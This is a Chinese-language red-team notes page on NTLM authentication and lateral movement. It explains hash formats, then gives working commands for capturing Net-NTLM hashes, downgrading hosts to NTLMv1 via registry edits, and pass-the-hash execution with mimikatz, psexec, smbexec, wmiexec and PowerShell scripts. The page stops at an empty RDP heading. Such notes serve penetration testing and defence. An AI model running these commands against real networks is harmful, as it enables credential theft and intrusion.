Skip to content

Latest commit

 

History

History
207 lines (111 loc) · 6.14 KB

TA0008横向移动-NTLM认证与利用.md

File metadata and controls

207 lines (111 loc) · 6.14 KB

原理

一、Net-NTLM协议

http://d1iv3.me/2018/12/08/LM-Hash%E3%80%81NTLM-Hash%E3%80%81Net-NTLMv1%E3%80%81Net-NTLMv2%E8%AF%A6%E8%A7%A3/

1. LM Hash与NT Hash

LM Hash与NT Hash,密码根据固定算法转成的两种Hash,LM Hash更容易被破解

NTLM Hash = LM Hash + NT Hash,也有的会把NTLM Hash等同于NT Hash

2. Lan Manager认证 与 NT Lan Manager

其中NT Lan Manager有两个版本:Net-NTLMv1,Net-NTLMv2。这三个都属于认证协议,都是基于challenge/reponse的,但是用的Client Hash及对challenge加密方法不同。

在NT Lan Manager中,客户端最后给服务器的响应,称为Net-NTLMv1 Hash及Net-NTLMv2 Hash

Lan Manager: 使用LM Hash

Net-NTLMv1: 使用LM Hash和NT Hash

//Net-NTLMv1 Hash格式
username::hostname:LM response:NTLM response:challenge

Net-NTLMv2: 使用NT Hash

//Net-NLTMv2 Hash格式
username::domain:challenge:HMAC-MD5:blob

工作组环境:

img

域环境:

img

3. 各个版本对LM和NTLM的支持

img

img

如果空密码或者不储蓄LM Hash的话,抓到的LM Hash是AAD3B435B51404EEAAD3B435B51404EE,这里的LM Hash值没有意义。

利用

一、 Hash窃取与破解

1. hashcat

Hashcat支持超过200种高度优化的hash算法,其中和NTLM hash相关的有4个,分别为NetNTLMv1、NetNTLMv1+ESS、NetNTLMv2和NTLM。

破解NetNTLMv1:https://3gstudent.github.io/3gstudent.github.io/Windows%E4%B8%8B%E7%9A%84%E5%AF%86%E7%A0%81hash-Net-NTLMv1%E4%BB%8B%E7%BB%8D/

username::hostname:LM response:NTLM response:challenge

破解NetNTLMv2:https://3gstudent.github.io/3gstudent.github.io/Windows%E4%B8%8B%E7%9A%84%E5%AF%86%E7%A0%81hash-NTLM-hash%E5%92%8CNet-NTLM-hash%E4%BB%8B%E7%BB%8D/

username::domain:challenge:HMAC-MD5:blob

img

2. Hash窃取与破解

  • 同一网络内嗅探
  • 中间人攻击
  • 伪造服务器诱使用户输入凭据,在服务端收取Net-NTLM Hash

工具:

https://github.com/lgandx/Responder

https://github.com/Kevin-Robertson/Inveigh

感觉不是每次都能抓到...

img

例1) 拿下文件服务器后,在服务器上抓包获取NTLM Respnse

如果获得了内网一个文件服务器的权限,那么内网中的其他主机在使用界面尝试访问该服务器时,首先会将本机的密码Hash发送至服务器进行验证,在服务器端抓取数据包能够获得NTLM Response,对NTLM Response的格式进行解析,提取特定信息,使用Hashcat尝试字典破解或者暴力破解,就有可能还原出用户本机的明文口令

渗透技巧——利用netsh抓取连接文件服务器的NTLMv2 Hash

netsh trace start capture=yes persistent=yes traceFile="c:\\test\\snmp1.etl" overwrite=yes correlation=no protocol=tcp ipv4.address=192.168.62.130 keywords=ut:authentication

Netsh trace stop

使用netsh抓包,得到 .etl 文件 -> windows message analyzer将其转换成.cap格式 -> wireshark 将其转为.pcap格式 -> python scapy模块自动解析数据包,提取NTLM Respnse。

例2) 拿下文件服务器后,利用.scf或desktop.ini文件使得访问文件服务器的用户强制访问攻击者服务器,在攻击者服务器上抓包获取NTLM Hash

3. 降级

Net-NTLMv2 Hash暴力破解和字典破解难度比较高,如果有管理员权限,可将Lan Manager身份验证级别由Net-NTLMv2降为Net-NTLMv1

https://3gstudent.github.io/3gstudent.github.io/Windows%E4%B8%8B%E7%9A%84%E5%AF%86%E7%A0%81hash-Net-NTLMv1%E4%BB%8B%E7%BB%8D/

修改注册表:

reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ /v lmcompatibilitylevel /t REG_DWORD /d 2 /f reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0\ /v NtlmMinClientSec /t REG_DWORD /d 536870912 /f reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0\ /v RestrictSendingNTLMTraffic /t REG_DWORD /d 0 /f

实现工具:https://github.com/eladshamir/Internal-Monologue

二、Pass the Hash

需要攻击使用了NTLM认证的服务

1. IPC$,Winrm

mimikatz

privilege::debug
sekurlsa::pth /user:dell /domain:ring2.com /ntlm:B9E0CFCEAF6D077970306A2FD88A7C0A /run:powershell.exe
Set-Item WSMan:\localhost\Client\TrustedHosts -Value * -Force
Restart-Service WinRM
Enter-PSSession -ComputerName win10-pc3

image-20201122131437489

创建定时任务来执行命令,at 命令或schtasks命令,启动的子进程是System权限

PS C:\Windows\system32> at \\192.168.240.128 4:37PM C:\Windows\System32\calc.exe
AT 命令已弃用。请改用 schtasks.exe。

新加了一项作业,其作业 ID = 3

img

smbexec.py

smbexec.py -hashes :B9E0CFCEAF6D077970306A2FD88A7C0A ./[email protected] -debug

psexec.py

psexec.py -hashes :B9E0CFCEAF6D077970306A2FD88A7C0A ./[email protected] -debug

Invoke-SMBExec.ps1

Invoke-SMBExec -Target #{host_ip} -Username "#{host_username}" -Hash B9E0CFCEAF6D077970306A2FD88A7C0A -Command "powershell.exe -c sleep 10;stop-process $pid -Force;"  -Verbose;

2. WMI

wmiexec.py

wmiexec.py -hashes :B9E0CFCEAF6D077970306A2FD88A7C0A [email protected] -debug

Invoke-WMIExec.ps1

Invoke-WMIExec -Target #{host_ip} -Username "#{host_username}" -Hash B9E0CFCEAF6D077970306A2FD88A7C0A -Command "powershell.exe -c sleep 10;stop-process $pid -Force;"  -Verbose;

3. RDP